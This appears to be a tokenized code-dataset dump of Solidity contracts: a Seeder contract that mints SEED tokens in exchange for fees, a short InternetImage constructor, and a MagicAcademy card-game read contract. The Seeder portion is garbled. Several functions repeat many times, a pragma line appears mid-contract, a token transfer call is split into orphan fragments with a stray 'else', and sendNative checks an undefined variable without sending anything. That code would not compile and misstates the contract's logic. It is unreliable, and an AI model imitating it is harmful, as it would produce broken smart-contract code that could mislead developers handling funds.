[ 1, 694, 3272, 1124, 6527, 1758, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 444, 1733, 607, 6527, 12, 2867, 389, 6848, 607, 6527, 13, 203, 3639, 1071, 203, 3639, 1338, 2996, 12, 15468, 67, 16256, 13, 203, 565, 288, 203, 3639, 3272, 607, 6527, 273, 389, 6848, 607, 6527, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/40/0x5cD0811D9A8170908fb7f995eE8C5B78Fe1E2F1C/sources/contracts/seed/Seeder.sol
* @title Seeder @notice The Seeder contract is used to issue SEEDs (an ERC20 token) in exchange for fees./
contract Seeder is ISeeder, AccessControlEnumerable { using SafeERC20 for IERC20; bytes32 public constant FEE_SETTER = keccak256("FEE_SETTER"); bytes32 public constant WHITELIST_SETTER = keccak256("WHITELIST_SETTER"); address private constant NATIVE_TOKEN = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public immutable seedAddress; address public collectionAddress; mapping(address => bool) public whitelisted; mapping(address => uint256) public feePerSeed; bool public restrictToWhitelisted; event RestrictToWhitelistedChanged(bool restrict, address sender); event Whitelisted(address indexed account, bool isWhitelisted); event FeePerSeedChanged(address indexed token, uint256 feePerSeed); event SeedsIssued( address indexed sender, address indexed feeToken, address indexed recipient, uint256 feeAmount, uint256 seedAmount ); pragma solidity 0.8.9; constructor(address _seed, address _collection) { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(FEE_SETTER, _msgSender()); seedAddress = _seed; collectionAddress = _collection; restrictToWhitelisted = true; } modifier onlyWhitelisted() { require( !restrictToWhitelisted || whitelisted[msg.sender], "Address has not been whitelisted" ); _; } function toggleRestrictToWhitelisted() external onlyRole(DEFAULT_ADMIN_ROLE) { restrictToWhitelisted = !restrictToWhitelisted; emit RestrictToWhitelistedChanged(restrictToWhitelisted, msg.sender); } function setWhitelisted(address _address, bool _whitelisted) public { require( hasRole(DEFAULT_ADMIN_ROLE, msg.sender) || hasRole(WHITELIST_SETTER, msg.sender), "Not authorized" ); whitelisted[_address] = _whitelisted; emit Whitelisted(_address, _whitelisted); } function setWhitelistedMultiple( address[] calldata _addresses, bool[] calldata _whitelisted ) external { require(_addresses.length == _whitelisted.length, "Length mismatch"); unchecked { for (uint256 i = 0; i < _addresses.length; ++i) { setWhitelisted(_addresses[i], _whitelisted[i]); } } } function setWhitelistedMultiple( address[] calldata _addresses, bool[] calldata _whitelisted ) external { require(_addresses.length == _whitelisted.length, "Length mismatch"); unchecked { for (uint256 i = 0; i < _addresses.length; ++i) { setWhitelisted(_addresses[i], _whitelisted[i]); } } } function setWhitelistedMultiple( address[] calldata _addresses, bool[] calldata _whitelisted ) external { require(_addresses.length == _whitelisted.length, "Length mismatch"); unchecked { for (uint256 i = 0; i < _addresses.length; ++i) { setWhitelisted(_addresses[i], _whitelisted[i]); } } } function issueSeedsForErc20( address recipient, address feeToken, uint256 feeAmount ) external onlyWhitelisted { uint256 seeds = getSeedAmount(feeToken, feeAmount); if (seeds > 0) { IERC20(feeToken).safeTransferFrom( msg.sender, collectionAddress, feeAmount ); ERC20Seed(seedAddress).mint(recipient, seeds); emit SeedsIssued(msg.sender, feeToken, recipient, feeAmount, seeds); } } function issueSeedsForErc20( address recipient, address feeToken, uint256 feeAmount ) external onlyWhitelisted { uint256 seeds = getSeedAmount(feeToken, feeAmount); if (seeds > 0) { IERC20(feeToken).safeTransferFrom( msg.sender, collectionAddress, feeAmount ); ERC20Seed(seedAddress).mint(recipient, seeds); emit SeedsIssued(msg.sender, feeToken, recipient, feeAmount, seeds); } } function issueSeedsForErc20Multiple( address[] calldata recipients, address feeToken, uint256[] calldata feeAmounts ) external onlyWhitelisted { require(recipients.length == feeAmounts.length, "Length mismatch"); if (!tokenIssuable(feeToken)) { return; } uint256 feeAmountTotal = 0; for (uint256 i = 0; i < recipients.length; i++) { uint256 feeAmount = feeAmounts[i]; uint256 seeds = getSeedAmount(feeToken, feeAmount); if (seeds > 0) { ERC20Seed(seedAddress).mint(recipients[i], seeds); feeAmountTotal += feeAmount; emit SeedsIssued( msg.sender, feeToken, recipients[i], feeAmount, seeds ); } } msg.sender, collectionAddress, feeAmountTotal ); } function issueSeedsForErc20Multiple( address[] calldata recipients, address feeToken, uint256[] calldata feeAmounts ) external onlyWhitelisted { require(recipients.length == feeAmounts.length, "Length mismatch"); if (!tokenIssuable(feeToken)) { return; } uint256 feeAmountTotal = 0; for (uint256 i = 0; i < recipients.length; i++) { uint256 feeAmount = feeAmounts[i]; uint256 seeds = getSeedAmount(feeToken, feeAmount); if (seeds > 0) { ERC20Seed(seedAddress).mint(recipients[i], seeds); feeAmountTotal += feeAmount; emit SeedsIssued( msg.sender, feeToken, recipients[i], feeAmount, seeds ); } } msg.sender, collectionAddress, feeAmountTotal ); } function issueSeedsForErc20Multiple( address[] calldata recipients, address feeToken, uint256[] calldata feeAmounts ) external onlyWhitelisted { require(recipients.length == feeAmounts.length, "Length mismatch"); if (!tokenIssuable(feeToken)) { return; } uint256 feeAmountTotal = 0; for (uint256 i = 0; i < recipients.length; i++) { uint256 feeAmount = feeAmounts[i]; uint256 seeds = getSeedAmount(feeToken, feeAmount); if (seeds > 0) { ERC20Seed(seedAddress).mint(recipients[i], seeds); feeAmountTotal += feeAmount; emit SeedsIssued( msg.sender, feeToken, recipients[i], feeAmount, seeds ); } } msg.sender, collectionAddress, feeAmountTotal ); } function issueSeedsForErc20Multiple( address[] calldata recipients, address feeToken, uint256[] calldata feeAmounts ) external onlyWhitelisted { require(recipients.length == feeAmounts.length, "Length mismatch"); if (!tokenIssuable(feeToken)) { return; } uint256 feeAmountTotal = 0; for (uint256 i = 0; i < recipients.length; i++) { uint256 feeAmount = feeAmounts[i]; uint256 seeds = getSeedAmount(feeToken, feeAmount); if (seeds > 0) { ERC20Seed(seedAddress).mint(recipients[i], seeds); feeAmountTotal += feeAmount; emit SeedsIssued( msg.sender, feeToken, recipients[i], feeAmount, seeds ); } } msg.sender, collectionAddress, feeAmountTotal ); } IERC20(feeToken).safeTransferFrom( function issueSeedsForNative(address recipient) external payable onlyWhitelisted { uint256 seeds = getSeedAmount(NATIVE_TOKEN, msg.value); if (seeds > 0) { sendNative(collectionAddress, msg.value); ERC20Seed(seedAddress).mint(recipient, seeds); emit SeedsIssued( msg.sender, NATIVE_TOKEN, recipient, msg.value, seeds ); } } function issueSeedsForNative(address recipient) external payable onlyWhitelisted { uint256 seeds = getSeedAmount(NATIVE_TOKEN, msg.value); if (seeds > 0) { sendNative(collectionAddress, msg.value); ERC20Seed(seedAddress).mint(recipient, seeds); emit SeedsIssued( msg.sender, NATIVE_TOKEN, recipient, msg.value, seeds ); } } } else { function issueSeedsForNativeMultiple( address[] calldata recipients, uint256[] calldata feeAmounts ) external payable onlyWhitelisted { require(recipients.length == feeAmounts.length, "Length mismatch"); if (!tokenIssuable(NATIVE_TOKEN)) { return; } uint256 feeAmountTotal = 0; for (uint256 i = 0; i < recipients.length; i++) { uint256 feeAmount = feeAmounts[i]; uint256 seeds = getSeedAmount(NATIVE_TOKEN, feeAmount); if (seeds > 0) { ERC20Seed(seedAddress).mint(recipients[i], seeds); feeAmountTotal += feeAmount; emit SeedsIssued( msg.sender, NATIVE_TOKEN, recipients[i], feeAmount, seeds ); } } sendNative(collectionAddress, feeAmountTotal); if (msg.value > feeAmountTotal) { sendNative(msg.sender, msg.value - feeAmountTotal); } } function issueSeedsForNativeMultiple( address[] calldata recipients, uint256[] calldata feeAmounts ) external payable onlyWhitelisted { require(recipients.length == feeAmounts.length, "Length mismatch"); if (!tokenIssuable(NATIVE_TOKEN)) { return; } uint256 feeAmountTotal = 0; for (uint256 i = 0; i < recipients.length; i++) { uint256 feeAmount = feeAmounts[i]; uint256 seeds = getSeedAmount(NATIVE_TOKEN, feeAmount); if (seeds > 0) { ERC20Seed(seedAddress).mint(recipients[i], seeds); feeAmountTotal += feeAmount; emit SeedsIssued( msg.sender, NATIVE_TOKEN, recipients[i], feeAmount, seeds ); } } sendNative(collectionAddress, feeAmountTotal); if (msg.value > feeAmountTotal) { sendNative(msg.sender, msg.value - feeAmountTotal); } } function issueSeedsForNativeMultiple( address[] calldata recipients, uint256[] calldata feeAmounts ) external payable onlyWhitelisted { require(recipients.length == feeAmounts.length, "Length mismatch"); if (!tokenIssuable(NATIVE_TOKEN)) { return; } uint256 feeAmountTotal = 0; for (uint256 i = 0; i < recipients.length; i++) { uint256 feeAmount = feeAmounts[i]; uint256 seeds = getSeedAmount(NATIVE_TOKEN, feeAmount); if (seeds > 0) { ERC20Seed(seedAddress).mint(recipients[i], seeds); feeAmountTotal += feeAmount; emit SeedsIssued( msg.sender, NATIVE_TOKEN, recipients[i], feeAmount, seeds ); } } sendNative(collectionAddress, feeAmountTotal); if (msg.value > feeAmountTotal) { sendNative(msg.sender, msg.value - feeAmountTotal); } } function issueSeedsForNativeMultiple( address[] calldata recipients, uint256[] calldata feeAmounts ) external payable onlyWhitelisted { require(recipients.length == feeAmounts.length, "Length mismatch"); if (!tokenIssuable(NATIVE_TOKEN)) { return; } uint256 feeAmountTotal = 0; for (uint256 i = 0; i < recipients.length; i++) { uint256 feeAmount = feeAmounts[i]; uint256 seeds = getSeedAmount(NATIVE_TOKEN, feeAmount); if (seeds > 0) { ERC20Seed(seedAddress).mint(recipients[i], seeds); feeAmountTotal += feeAmount; emit SeedsIssued( msg.sender, NATIVE_TOKEN, recipients[i], feeAmount, seeds ); } } sendNative(collectionAddress, feeAmountTotal); if (msg.value > feeAmountTotal) { sendNative(msg.sender, msg.value - feeAmountTotal); } } function issueSeedsForNativeMultiple( address[] calldata recipients, uint256[] calldata feeAmounts ) external payable onlyWhitelisted { require(recipients.length == feeAmounts.length, "Length mismatch"); if (!tokenIssuable(NATIVE_TOKEN)) { return; } uint256 feeAmountTotal = 0; for (uint256 i = 0; i < recipients.length; i++) { uint256 feeAmount = feeAmounts[i]; uint256 seeds = getSeedAmount(NATIVE_TOKEN, feeAmount); if (seeds > 0) { ERC20Seed(seedAddress).mint(recipients[i], seeds); feeAmountTotal += feeAmount; emit SeedsIssued( msg.sender, NATIVE_TOKEN, recipients[i], feeAmount, seeds ); } } sendNative(collectionAddress, feeAmountTotal); if (msg.value > feeAmountTotal) { sendNative(msg.sender, msg.value - feeAmountTotal); } } function getSeedAmount(address token, uint256 amount) public view returns (uint256) { uint256 price = feePerSeed[token]; if (price > 0) { return (amount * 1e18) / price; } return 0; } function getSeedAmount(address token, uint256 amount) public view returns (uint256) { uint256 price = feePerSeed[token]; if (price > 0) { return (amount * 1e18) / price; } return 0; } function tokenFeeSetterRole(address token) public pure returns (bytes32) { return bytes32(abi.encodePacked("FEE_SETTER", token)); } function setTokenFeeSetterRole(address token, address feeSetter) external onlyRole(DEFAULT_ADMIN_ROLE) { require(token != address(0), "token address cannot be 0"); require(feeSetter != address(0), "fee setter address cannot be 0"); require( tokenFeeSetterRole(token) != DEFAULT_ADMIN_ROLE && tokenFeeSetterRole(token) != FEE_SETTER, "invalid fee setter role" ); _setupRole(tokenFeeSetterRole(token), feeSetter); } function removeTokenFeeSetterRole(address token, address feeSetter) external onlyRole(DEFAULT_ADMIN_ROLE) { require(token != address(0), "token address cannot be 0"); require(feeSetter != address(0), "fee setter address cannot be 0"); _revokeRole(tokenFeeSetterRole(token), feeSetter); } function setFeePerSeed(address token, uint256 price) public { require( hasRole(tokenFeeSetterRole(token), _msgSender()) || hasRole(FEE_SETTER, _msgSender()), "Needs role for setting fee" ); emit FeePerSeedChanged(token, price); feePerSeed[token] = price; } function setFeePerSeedMultiple( address[] calldata tokens, uint256[] calldata prices ) external { require(tokens.length == prices.length, "Length mismatch"); for (uint256 i = 0; i < tokens.length; i++) { setFeePerSeed(tokens[i], prices[i]); } } function setFeePerSeedMultiple( address[] calldata tokens, uint256[] calldata prices ) external { require(tokens.length == prices.length, "Length mismatch"); for (uint256 i = 0; i < tokens.length; i++) { setFeePerSeed(tokens[i], prices[i]); } } function setCollectionAddress(address _address) external onlyRole(DEFAULT_ADMIN_ROLE) { collectionAddress = _address; } function tokenIssuable(address token) public view returns (bool) { return feePerSeed[token] > 0; } function sendNative(address _to, uint256 _amount) private { require(sent, "Failed to send Ether"); } function emptyTokens(IERC20 _tokenAddress, address _to) external onlyRole(DEFAULT_ADMIN_ROLE) { require(_to != address(0), "recipient cannot be 0"); _tokenAddress.safeTransfer(_to, _tokenAddress.balanceOf(address(this))); } }
9,551,297
[ 1, 12702, 264, 225, 1021, 28065, 264, 6835, 353, 1399, 358, 5672, 3174, 2056, 87, 261, 304, 4232, 39, 3462, 1147, 13, 316, 7829, 364, 1656, 281, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 28065, 264, 353, 467, 12702, 264, 16, 24349, 3572, 25121, 288, 203, 565, 1450, 14060, 654, 39, 3462, 364, 467, 654, 39, 3462, 31, 203, 203, 565, 1731, 1578, 1071, 5381, 478, 9383, 67, 1090, 11976, 273, 417, 24410, 581, 5034, 2932, 8090, 41, 67, 1090, 11976, 8863, 203, 565, 1731, 1578, 1071, 5381, 24353, 7085, 67, 1090, 11976, 273, 417, 24410, 581, 5034, 2932, 16861, 7085, 67, 1090, 11976, 8863, 203, 203, 565, 1758, 3238, 5381, 423, 12992, 67, 8412, 273, 203, 3639, 374, 17432, 1340, 1340, 41, 1340, 73, 41, 73, 41, 1340, 41, 73, 41, 73, 41, 1340, 9383, 41, 1340, 1340, 41, 1340, 1340, 1340, 73, 9383, 73, 41, 31, 203, 203, 565, 1758, 1071, 11732, 5009, 1887, 31, 203, 565, 1758, 1071, 1849, 1887, 31, 203, 203, 565, 2874, 12, 2867, 516, 1426, 13, 1071, 26944, 31, 203, 203, 565, 2874, 12, 2867, 516, 2254, 5034, 13, 1071, 14036, 2173, 12702, 31, 203, 203, 565, 1426, 1071, 13108, 774, 18927, 329, 31, 203, 203, 565, 871, 1124, 5792, 774, 18927, 329, 5033, 12, 6430, 13108, 16, 1758, 5793, 1769, 203, 565, 871, 3497, 7523, 329, 12, 2867, 8808, 2236, 16, 1426, 353, 18927, 329, 1769, 203, 565, 871, 30174, 2173, 12702, 5033, 12, 2867, 8808, 1147, 16, 2254, 5034, 14036, 2173, 12702, 1769, 203, 565, 871, 3265, 9765, 7568, 5957, 12, 203, 3639, 1758, 8808, 5793, 16, 203, 3639, 1758, 8808, 14036, 1345, 16, 203, 3639, 1758, 8808, 8027, 16, 203, 3639, 2254, 5034, 14036, 6275, 16, 203, 2 ]
./full_match/5/0xa0ADA4dF9B56613D7E00063053D3FFC7c5AF993e/sources/InternetImage/InternetImage.sol
for (uint256 i = 0; i < 2592; i++) {for (uint256 j = 0; j < 10; j++) {Pixel memory pixel = Pixel(payable(msg.sender),"#FFFFFF",0,0,address(0));Pixels2[i][j].owner = payable(msg.sender);Pixels2[i][j].hexColor = Pixels[i].owner = contractowner;} }
constructor() { contractowner = payable(msg.sender); }
1,920,546
[ 1, 1884, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 576, 6162, 22, 31, 277, 27245, 288, 1884, 261, 11890, 5034, 525, 273, 374, 31, 525, 411, 1728, 31, 525, 27245, 288, 9037, 3778, 4957, 273, 26070, 12, 10239, 429, 12, 3576, 18, 15330, 3631, 6, 18343, 3113, 20, 16, 20, 16, 2867, 12, 20, 10019, 18079, 22, 63, 77, 6362, 78, 8009, 8443, 273, 8843, 429, 12, 3576, 18, 15330, 1769, 18079, 22, 63, 77, 6362, 78, 8009, 7118, 2957, 273, 26070, 87, 63, 77, 8009, 8443, 273, 6835, 8443, 31, 97, 289, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 3885, 1435, 288, 203, 3639, 6835, 8443, 273, 8843, 429, 12, 3576, 18, 15330, 1769, 203, 5411, 203, 540, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.18; /* ==================================================================== */ /* Copyright (c) 2018 The MagicAcademy Project. All rights reserved. /* /* https://www.magicacademy.io One of the world's first idle strategy games of blockchain /* /* authors [email protected]/[email protected] /* /* ==================================================================== */ interface CardsInterface { function getJadeProduction(address player) external constant returns (uint256); function getOwnedCount(address player, uint256 cardId) external view returns (uint256); function getUpgradesOwned(address player, uint256 upgradeId) external view returns (uint256); function getUintCoinProduction(address _address, uint256 cardId) external view returns (uint256); function getUnitCoinProductionMultiplier(address _address, uint256 cardId) external view returns (uint256); function getUnitCoinProductionIncreases(address _address, uint256 cardId) external view returns (uint256); function getUnitAttackIncreases(address _address, uint256 cardId) external view returns (uint256); function getUnitAttackMultiplier(address _address, uint256 cardId) external view returns (uint256); function getUnitDefenseIncreases(address _address, uint256 cardId) external view returns (uint256); function getUnitDefenseMultiplier(address _address, uint256 cardId) external view returns (uint256); function getUnitJadeStealingIncreases(address _address, uint256 cardId) external view returns (uint256); function getUnitJadeStealingMultiplier(address _address, uint256 cardId) external view returns (uint256); function getUnitsProduction(address player, uint256 cardId, uint256 amount) external constant returns (uint256); function getTotalEtherPool(uint8 itype) external view returns (uint256); function coinBalanceOf(address player,uint8 itype) external constant returns(uint256); function balanceOf(address player) public constant returns(uint256); function getPlayersBattleStats(address player) public constant returns ( uint256 attackingPower, uint256 defendingPower, uint256 stealingPower, uint256 battlePower); function getTotalJadeProduction() external view returns (uint256); function getNextSnapshotTime() external view returns(uint256); } interface GameConfigInterface { function productionCardIdRange() external constant returns (uint256, uint256); function battleCardIdRange() external constant returns (uint256, uint256); function upgradeIdRange() external constant returns (uint256, uint256); function unitCoinProduction(uint256 cardId) external constant returns (uint256); function unitAttack(uint256 cardId) external constant returns (uint256); function unitDefense(uint256 cardId) external constant returns (uint256); function unitStealingCapacity(uint256 cardId) external constant returns (uint256); } contract CardsRead { using SafeMath for SafeMath; CardsInterface public cards; GameConfigInterface public schema; address owner; modifier onlyOwner() { require(msg.sender == owner); _; } function CardsRead() public { owner = msg.sender; } //setting configuration function setConfigAddress(address _address) external onlyOwner { schema = GameConfigInterface(_address); } //setting configuration function setCardsAddress(address _address) external onlyOwner { cards = CardsInterface(_address); } // get normal cardlist; function getNormalCardList(address _owner) external view returns(uint256[],uint256[]){ uint256 startId; uint256 endId; (startId,endId) = schema.productionCardIdRange(); uint256 len = SafeMath.add(SafeMath.sub(endId,startId),1); uint256[] memory itemId = new uint256[](len); uint256[] memory itemNumber = new uint256[](len); uint256 i; while (startId <= endId) { itemId[i] = startId; itemNumber[i] = cards.getOwnedCount(_owner,startId); i++; startId++; } return (itemId, itemNumber); } // get normal cardlist; function getBattleCardList(address _owner) external view returns(uint256[],uint256[]){ uint256 startId; uint256 endId; (startId,endId) = schema.battleCardIdRange(); uint256 len = SafeMath.add(SafeMath.sub(endId,startId),1); uint256[] memory itemId = new uint256[](len); uint256[] memory itemNumber = new uint256[](len); uint256 i; while (startId <= endId) { itemId[i] = startId; itemNumber[i] = cards.getOwnedCount(_owner,startId); i++; startId++; } return (itemId, itemNumber); } // get upgrade cardlist; function getUpgradeCardList(address _owner) external view returns(uint256[],uint256[]){ uint256 startId; uint256 endId; (startId, endId) = schema.upgradeIdRange(); uint256 len = SafeMath.add(SafeMath.sub(endId,startId),1); uint256[] memory itemId = new uint256[](len); uint256[] memory itemNumber = new uint256[](len); uint256 i; while (startId <= endId) { itemId[i] = startId; itemNumber[i] = cards.getUpgradesOwned(_owner,startId); i++; startId++; } return (itemId, itemNumber); } //get up value function getUpgradeValue(address player, uint256 upgradeClass, uint256 unitId, uint256 upgradeValue) external view returns ( uint256 productionGain ,uint256 preValue,uint256 afterValue) { if (cards.getOwnedCount(player,unitId) == 0) { if (upgradeClass == 0) { productionGain = upgradeValue * 10; preValue = schema.unitCoinProduction(unitId); afterValue = preValue + productionGain; } else if (upgradeClass == 1){ productionGain = upgradeValue * schema.unitCoinProduction(unitId); preValue = schema.unitCoinProduction(unitId); afterValue = preValue + productionGain; } }else { // >= 1 if (upgradeClass == 0) { productionGain = (cards.getOwnedCount(player,unitId) * upgradeValue * (10 + cards.getUnitCoinProductionMultiplier(player,unitId))); preValue = cards.getUintCoinProduction(player,unitId); afterValue = preValue + productionGain; } else if (upgradeClass == 1) { productionGain = (cards.getOwnedCount(player,unitId) * upgradeValue * (schema.unitCoinProduction(unitId) + cards.getUnitCoinProductionIncreases(player,unitId))); preValue = cards.getUintCoinProduction(player,unitId); afterValue = preValue + productionGain; } } } // To display on website function getGameInfo() external view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256[], uint256[], uint256[]){ uint256 startId; uint256 endId; (startId,endId) = schema.productionCardIdRange(); uint256 len = SafeMath.add(SafeMath.sub(endId,startId),1); uint256[] memory units = new uint256[](len); uint256 i; while (startId <= endId) { units[i] = cards.getOwnedCount(msg.sender,startId); i++; startId++; } (startId,endId) = schema.battleCardIdRange(); len = SafeMath.add(SafeMath.sub(endId,startId),1); uint256[] memory battles = new uint256[](len); i=0; //reset for battle cards while (startId <= endId) { battles[i] = cards.getOwnedCount(msg.sender,startId); i++; startId++; } // Reset for upgrades i = 0; (startId, endId) = schema.upgradeIdRange(); len = SafeMath.add(SafeMath.sub(endId,startId),1); uint256[] memory upgrades = new uint256[](len); while (startId <= endId) { upgrades[i] = cards.getUpgradesOwned(msg.sender,startId); i++; startId++; } return ( cards.getTotalEtherPool(1), cards.getJadeProduction(msg.sender), cards.balanceOf(msg.sender), cards.coinBalanceOf(msg.sender,1), cards.getTotalJadeProduction(), cards.getNextSnapshotTime(), units, battles,upgrades ); } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
To display on website
